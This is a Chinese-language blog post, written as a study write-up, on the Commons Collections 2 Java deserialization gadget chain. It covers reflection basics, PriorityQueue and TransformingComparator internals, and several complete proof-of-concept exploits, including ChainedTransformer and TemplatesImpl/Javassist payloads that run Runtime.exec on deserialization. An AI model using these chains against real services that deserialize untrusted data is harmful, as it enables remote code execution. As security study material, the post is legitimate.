Java CommonsCollections2链学习


Java CommonsCollections2链学习

Java反射机制

Java反射

反射机制相关的重要的类

java.lang.Class:代表整个字节码。代表一个类型,代表整个类。
java.lang.reflect.Method:代表字节码中的方法字节码。代表类中的方法。
java.lang.reflect.Constructor:代表字节码中的构造方法字节码。代表类中的构造方法。
java.lang.reflect.Field:代表字节码中的属性字节码。代表类中的成员变量(静态变量+实例变量)。

注:必须先获得Class才能获取Method、Constructor、Field。

获取class的三种方式

要操作一个类的字节码,需要首先获取到这个类的字节码,怎么获取java.lang.Class实例?
class.forName()
对象.class
任何类型.class
注:以上三种方式返回值都是Class类型。

通过反射实例化对象

对象.newInstance

注:newInstance()方法内部实际上调用了无参数构造方法,必须保证无参构造存在才可以。
否则会抛出java.lang.InstantiationException异常。

反射Filed【反射/反编译一个类的属性】

Class类方法

public T newInstance():创建对象
public String getName():返回完整类名带包名
public String getSimpleName():返回类名
public Field[] getFields():返回类中public修饰的属性
public Field[] getDeclaredFields():返回类中所有的属性
public Field getDeclaredField(String name):根据属性名name获取指定的属性
public native int getModifiers():获取属性的修饰符列表,返回的修饰符是一个数字,每个数字是修饰符的代号【一般配合Modifier类的toString(int x)方法使用】
public Method[] getDeclaredMethods()    返回类中所有的实例方法
public Method getDeclaredMethod(String name, Class… parameterTypes):根据方法名name和方法形参获取指定方法
public Constructor[] getDeclaredConstructors():返回类中所有的构造方法
public Constructor getDeclaredConstructor(Class… parameterTypes):根据方法形参获取指定的构造方法
----    ----
public native Class getSuperclass():返回调用类的父类
public Class[] getInterfaces():返回调用类实现的接口集合

Field类方法

public String getName():返回属性名
public int getModifiers():获取属性的修饰符列表,返回的修饰符是一个数字,每个数字是修饰符的代号【一般配合Modifier类的toString(int x)方法使用】
public Class getType():以Class类型,返回属性类型【一般配合Class类的getSimpleName()方法使用】
public void set(Object obj, Object value):设置属性值
public Object get(Object obj):读取属性值

反编译一个类的属性Field

//通过反射机制,反编译一个类的属性Field(了解一下)
class ReflectTest06{
    public static void main(String[] args) throws ClassNotFoundException {
        StringBuilder s = new StringBuilder();

        Class studentClass = Class.forName("javase.reflectBean.Student");
        s.append(Modifier.toString(studentClass.getModifiers()) + " class " + studentClass.getSimpleName() + " {\n");// Class类的getName方法
        //获取所有的属性
        Field[] fields = studentClass.getDeclaredFields();
        for (Field f : fields){
            s.append("\t");
            // 获取属性的修饰符列表,返回的修饰符是一个数字,每个数字是修饰符的代号
            // 用Modifier类的toString转换成字符串
            s.append(Modifier.toString(f.getModifiers()));
            if (f.getModifiers() != 0) s.append(" ");
            s.append(f.getType().getSimpleName());// 获取属性的类型
            s.append(" ");
            s.append(f.getName());// 获取属性的名字
            s.append(";\n");
        }
        s.append("}");
        System.out.println(s);
    }
}

通过反射机制访问一个java对象的属性

/*
必须掌握:
    怎么通过反射机制访问一个java对象的属性?
        给属性赋值set
        获取属性的值get
 */
class ReflectTest07{
    public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchFieldException {
        //不使用反射机制给属性赋值
        Student student = new Student();
        /**给属性赋值三要素:给s对象的no属性赋值1111
         * 要素1:对象s
         * 要素2:no属性
         * 要素3:1111
         */
        student.no = 1111;
        /**读属性值两个要素:获取s对象的no属性的值。
         * 要素1:对象s
         * 要素2:no属性
         */
        System.out.println(student.no);

        //使用反射机制给属性赋值
        Class studentClass = Class.forName("javase.reflectBean.Student");
        Object obj = studentClass.newInstance();// obj就是Student对象。(底层调用无参数构造方法)

        // 获取no属性(根据属性的名称来获取Field)
        Field noField = studentClass.getDeclaredField("no");
        // 给obj对象(Student对象)的no属性赋值
        /*
            虽然使用了反射机制,但是三要素还是缺一不可:
                要素1:obj对象
                要素2:no属性
                要素3:22222值
            注意:反射机制让代码复杂了,但是为了一个“灵活”,这也是值得的。
         */
        noField.set(obj, 22222);

        // 读取属性的值
        // 两个要素:获取obj对象的no属性的值。
        System.out.println(noField.get(obj));
    }

set不可以访问私有属性

需要打破封装
public void setAccessible(boolean flag):默认false,设置为true为打破封装

        // 可以访问私有的属性吗?
        Field nameField = studentClass.getDeclaredField("name");
        // 打破封装(反射机制的缺点:打破封装,可能会给不法分子留下机会!!!)
        // 这样设置完之后,在外部也是可以访问private的。
        nameField.setAccessible(true);
        // 给name属性赋值
        nameField.set(obj, "xiaowu");
        // 获取name属性的值
        System.out.println(nameField.get(obj));

小结

获取类的方法: forName
获取函数的方法: getMethod
实例化类对象的方法: newInstance
执行函数的方法: invoke

私有属性需要特殊的设置。

CommonsCollections2链

前言

在JDK1.8 8u71版本以后,对AnnotationInvocationHandlerreadobject进行了改写。导致高版本中利用链无法使用。
所以cc2版本就没用使用AnnotationInvocationHandler而时使用了TemplatesImpI+PriorityQueue来构造利用链的。
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl这个内置类, 这个类的骚操作就是,在调用他的newTransformer或者getOutputProperties(这个方法内部会调用newTransformer) 时,会动态从字节码中重建一个类。
这就使得如果我们能操作字节码, 就能在创建类时执任意 java 代码。

环境

jdk没有版本限制,commons.collections4。

<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-collections4</artifactId>
    <version>4.0</version>
</dependency>

用于写字节码的javaassist。

<dependency>
    <groupId>org.javassist</groupId>
    <artifactId>javassist</artifactId>
    <version>3.25.0-GA</version>
</dependency>

正文

官方的调用链:

/*
    Gadget chain:
        ObjectInputStream.readObject()
            PriorityQueue.readObject()
                ...
                    TransformingComparator.compare()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Runtime.exec()
 */

ChainedTransformer之后就和commons collections1一样了。

PriorityQueue

PriorityQueue,它的出队顺序与元素的优先级有关,对PriorityQueue调用remove()或poll()方法,返回的总是优先级最高的元素。
要使用PriorityQueue,我们就必须给每个元素定义“优先级”。

import java.util.PriorityQueue;
import java.util.Queue;

public class cc2 {
    public static void main(String[] args) {
        Queue<String> queue = new PriorityQueue<>();
        queue.offer("banana");
        queue.offer("pear");
        queue.offer("apple");
        System.out.println(queue.poll());
        System.out.println(queue.poll());
        System.out.println(queue.poll());
        System.out.println(queue.poll());
    }
}

bananapearapple的顺序输入,但是输出却是applebananapear null,这是因为从字符串的排序看,a>b>p。

因此,放入PriorityQueue的元素,必须实现Comparable接口,PriorityQueue会根据元素的排序顺序决定出队的优先级。
构造Comparable自定义排序算法如下

import java.util.PriorityQueue;
import java.util.Queue;
import java.util.Comparator;

public class cc2 {
    static class UserComparator implements Comparator<User> {
        public int compare(User u1, User u2) {
            if(u1.number.charAt(0)==u2.number.charAt(0)) {
                return u1.number.compareTo(u2.number);
            }
            if(u1.number.charAt(0)=='V') {
                return -1;
            }else{
                return 1;
            }
        }

    }
    static class User {
        public final String name;
        public final String number;
        public User(String name, String number) {
            this.name=name;
            this.number=number;
        }
        public String toString() {
            return name+"/"+number;
        }
    }
    public static void main(String[] args) {
        Queue<User> queue = new PriorityQueue<>(new UserComparator());
        queue.offer(new User("banana", "V1"));
        queue.offer(new User("pear", "V2"));
        queue.offer(new User("apple", "A1"));
        System.out.println(queue.poll());
        System.out.println(queue.poll());
        System.out.println(queue.poll());
        System.out.println(queue.poll());
    }
}


我们需要对PriorityQueue利用点进行分析,直接进入它的readObject方法,可以看到最后调用heapify方法

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    // Read in size, and any hidden stuff
    s.defaultReadObject();
    // Read in (and discard) array length
    s.readInt();
    queue = new Object[size];
    // Read in all elements.
    for (int i = 0; i < size; i++)
        queue[i] = s.readObject();
    // Elements are guaranteed to be in "proper order", but the
    // spec has never explained what that might be.
    heapify();
}

跟进heapify。

private void heapify() {
    for (int i = (size >>> 1) - 1; i >= 0; i--)
        siftDown(i, (E) queue[i]);
}

跟进siftDown

private void siftDown(int k, E x) {
    if (comparator != null)
        siftDownUsingComparator(k, x);
    else
        siftDownComparable(k, x);
}

comparator不为空时调用siftDownUsingComparator,在其为空时,调用siftDownComparable
siftDownUsingComparator

private void siftDownUsingComparator(int k, E x) {
    int half = size >>> 1;
    while (k < half) {
        int child = (k << 1) + 1;
        Object c = queue[child];
        int right = child + 1;
        if (right < size && comparator.compare((E) c, (E) queue[right]) > 0)
            c = queue[child = right];
        if (comparator.compare(x, (E) c) <= 0)
            break;
        queue[k] = c;
        k = child;
    }
    queue[k] = x;
}

小补充一下知识点

<< 左移运算符,size << 1,相当于size乘以2
>> 右移运算符,size >> 1,相当于size除以2
>>> 无符号右移,忽略符号位,空位都以0补齐

siftDownUsingComparator会调 comparatorcompare()方法来进行优先级的比较和排序。这样,反序列化之后的优先级队列,也拥有了顺序。

TransformingComparator

根据名字我们可以将这个理解为和TransformMap应该具有相同功能,上面对PriorityQueue的学习知道它会根据comparator进行一个优先级排序,那么这个就是来创建comparator的,我们可以将comparator中加入恶意代码进行命令执行即可。

public class TransformingComparator<I, O> implements Comparator<I>, Serializable {
    private static final long serialVersionUID = 3456940356043606220L;
    private final Comparator<O> decorated;
    private final Transformer<? super I, ? extends O> transformer;

    public TransformingComparator(Transformer<? super I, ? extends O> transformer) {
        this(transformer, ComparatorUtils.NATURAL_COMPARATOR);
    }

    public TransformingComparator(Transformer<? super I, ? extends O> transformer, Comparator<O> decorated) {
        this.decorated = decorated;
        this.transformer = transformer;
    }

    public int compare(I obj1, I obj2) {
        O value1 = this.transformer.transform(obj1);
        O value2 = this.transformer.transform(obj2);
        return this.decorated.compare(value1, value2);
    }

    public int hashCode() {
        int total = 17;
        int total = total * 37 + (this.decorated == null ? 0 : this.decorated.hashCode());
        total = total * 37 + (this.transformer == null ? 0 : this.transformer.hashCode());
        return total;
    }

    public boolean equals(Object object) {
        if (this == object) {
            return true;
        } else if (null == object) {
            return false;
        } else if (!object.getClass().equals(this.getClass())) {
            return false;
        } else {
            TransformingComparator<?, ?> comp = (TransformingComparator)object;
            return null == this.decorated ? null == comp.decorated : (this.decorated.equals(comp.decorated) && null == this.transformer ? null == comp.transformer : this.transformer.equals(comp.transformer));
        }
    }
}

可以看一下他的定义,在compare函数里会执行transform方法,那么就可以执行恶意代码了。

public int compare(I obj1, I obj2) {
    O value1 = this.transformer.transform(obj1);
    O value2 = this.transformer.transform(obj2);
    return this.decorated.compare(value1, value2);
}

poc分析

ChainedTransformer

类似commons colletions1,直接让Transformer为ChainedTransformer就ok。
找到的这种方法的payload。

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;


public class cc2 {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException, IOException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chain = new ChainedTransformer(transformers);
        TransformingComparator comparator = new TransformingComparator(chain);
        PriorityQueue<String> queue = new PriorityQueue<>(2);
        queue.add("1");
        queue.add("2");


        Class name = Class.forName("java.util.PriorityQueue");
        Field field = name.getDeclaredField("comparator");
        field.setAccessible(true);
        field.set(queue,comparator);


        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("1.ser"));
        objectOutputStream.writeObject(queue);
        objectOutputStream.close();
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("1.ser"));
        objectInputStream.readObject();
    }
}

templatesImpl

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer()会实例化一个自定义的类。其中,这一个类是TemplatesImpl的一个属性(字节码形式)
我们不是可以执行任意方法了吗,构造一个恶意类的字节码让他实例化就行了。
SE写的博客中就是这种方法。

import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;


public class exp {
    public static void main(String[] args) throws Exception {
        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

        ClassPool classPool=ClassPool.getDefault();
        classPool.appendClassPath(AbstractTranslet);
        CtClass payload=classPool.makeClass("CC2");
        payload.setSuperclass(classPool.get(AbstractTranslet)); 
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); 

        byte[] bytes=payload.toBytecode();//转换为byte数组

        Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
        Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
        field.setAccessible(true);//暴力反射
        field.set(templatesImpl,new byte[][]{bytes});

        Field field1=templatesImpl.getClass().getDeclaredField("_name");
        field1.setAccessible(true);//暴力反射
        field1.set(templatesImpl,"test");

        InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
        TransformingComparator comparator =new TransformingComparator(transformer);
        PriorityQueue queue = new PriorityQueue(2);
        queue.add(1);
        queue.add(1);

        Field field2=queue.getClass().getDeclaredField("comparator");
        field2.setAccessible(true);
        field2.set(queue,comparator);

        Field field3=queue.getClass().getDeclaredField("queue");
        field3.setAccessible(true);
        field3.set(queue,new Object[]{templatesImpl,templatesImpl});

        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
        outputStream.writeObject(queue);
        outputStream.close();

        ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
        inputStream.readObject();

    }
}

完整poc分析

直接贴了桥的,桥将两种方法的调用都写了,并且将具体分析写入了注释当中,可以跟着学习一下。

package learn;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.*;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.*;

import java.lang.reflect.*;
import java.util.PriorityQueue;

public class CommonsCollections2 extends tools.SerAndDe{
    /*
    Gadget chain:
        ObjectInputStream.readObject()
            PriorityQueue.readObject()
                ...
                    TransformingComparator.compare()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Runtime.exec()
 */
    public static void main(String[] args) throws Exception{
//        poc1();
        poc2();
    }
    static void poc1() throws Exception{
        ChainedTransformer chain=getChainedTransformer();
        TransformingComparator comparator=new TransformingComparator(chain);
        PriorityQueue queue=new PriorityQueue();
        //debug发现size>=2才行
        queue.add(1);
        queue.add(2);
        //comparator直接构造器设置的话,add的时候会类型错误。所以反射设置
        Class clazz=queue.getClass();
        Field comparatorField=clazz.getDeclaredField("comparator");
        comparatorField.setAccessible(true);
        comparatorField.set(queue, comparator);
        deserialize(serialize(queue));
    }
    static void poc2() throws Exception{
        //制作父类为AbstractTranslet的RCE类的字节码bytes
        ClassPool classPool=ClassPool.getDefault();//返回默认的类池
        classPool.appendClassPath("AbstractTranslet");//添加AbstractTranslet的搜索路径
        CtClass payload=classPool.makeClass("CommonsCollections22222222222");//创建一个新的public类
        payload.setSuperclass(classPool.get(AbstractTranslet.class.getName()));  //设置前面创建的CommonsCollections22222222222类的父类为AbstractTranslet
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
        byte[] bytes=payload.toBytecode();//转换为byte数组
        //制作templatesImpl
        Object templatesImpl=Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl").getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
        Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
        field.setAccessible(true);//暴力反射
        field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组
        Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
        field1.setAccessible(true);//暴力反射
        field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test
        //制作transformer
        InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
        //接下来只需调用transformer.transform(templatesImpl)
//        transformer.transform()
        TransformingComparator comparator=new TransformingComparator(transformer);
        PriorityQueue queue=new PriorityQueue();
        //让size=2
        queue.add(3);
        queue.add(4);
//        反射,强行往queue塞templatesImpl
        Class queueClass=queue.getClass();
        Field queueField=queueClass.getDeclaredField("queue");
        queueField.setAccessible(true);
        queueField.set(queue,new Object[]{templatesImpl,1});

        //反射强写comparator
        Class clazz=queue.getClass();
        Field comparatorField=clazz.getDeclaredField("comparator");
        comparatorField.setAccessible(true);
        comparatorField.set(queue, comparator);

        byte[] b=serialize(queue);
        deserialize(b);
    }

    static ChainedTransformer getChainedTransformer(){
        ConstantTransformer ct=new ConstantTransformer(Runtime.class);

        InvokerTransformer it1=new InvokerTransformer(
                "getMethod",
                new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime",new Class[0]}
        );
        InvokerTransformer it2=new InvokerTransformer(
                "invoke",
                new Class[]{Object.class,Object[].class},
                new Object[]{"getRuntime",new Class[0]}
        );
        InvokerTransformer it_exec=new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new Object[]{"calc"}
        );
        Transformer[] a=new Transformer[]{ct,it1,it2,it_exec};
        ChainedTransformer chain=new ChainedTransformer(a);
        return chain;
    }
}

总结

java cc2链学习的博客拖了挺久的,七月多就开始写了,一直写到9月2日,中间学车加上出去旅游浪费了一段时间,后面会加快进度,尽快先将cc链部分赶紧看完,先熟悉一遍,然后在此基础上复现一些java类型题目,反过头再把cc链详细学习,cc链学习着实让人头大。

参考链接:
https://www.cnblogs.com/kingbridge/articles/16141397.html
https://www.cnblogs.com/0x7e/p/14400933.html
https://blog.csdn.net/weixin_43818995/article/details/122184245
https://blog.csdn.net/qq_44769520/article/details/124849524


Author: kingkb
Reprint policy: All articles in this blog are used except for special statements CC BY 4.0 reprint policy. If reproduced, please indicate source kingkb !